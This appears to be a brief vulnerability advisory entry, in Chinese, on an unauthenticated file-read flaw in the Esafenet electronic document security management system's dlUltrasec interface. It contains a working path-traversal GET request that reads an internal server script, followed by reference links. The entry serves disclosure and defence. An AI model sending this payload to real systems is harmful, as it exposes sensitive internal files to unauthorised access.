Description
亿赛通电子文档安全管理系统dlUltrasec接口存在文件读取漏洞，未经身份验证的攻击者利用此漏洞获取系统内部敏感文件信息，导致系统处于极不安全的状态。
亿赛通电子文档安全管理系统dlUltrasec文件读取漏洞
PoC
GET /linuxUpdate/dlUltrasec?path=../../../../../../../../../esafenet/fileServer/fileServer.sh&type=1 HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://github.com/y1ong/blog-timeline/issues/333
https://www.aqtd.com/nd.jsp?id=5567
https://y4tacker.github.io/2023/12/13/year/2023/12/%E4%BA%BF%E8%B5%9B%E9%80%9A%E7%94%B5%E5%AD%90%E6%96%87%E6%A1%A3%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E6%B5%85%E6%9E%90/
https://blog.csdn.net/zkaqlaoniao/article/details/135262103
https://cn-sec.com/archives/2372549.html
https://zone.ci/aliyun/ali_highrisk/245562.html
https://avd.aliyun.com/high-risk/list?page=9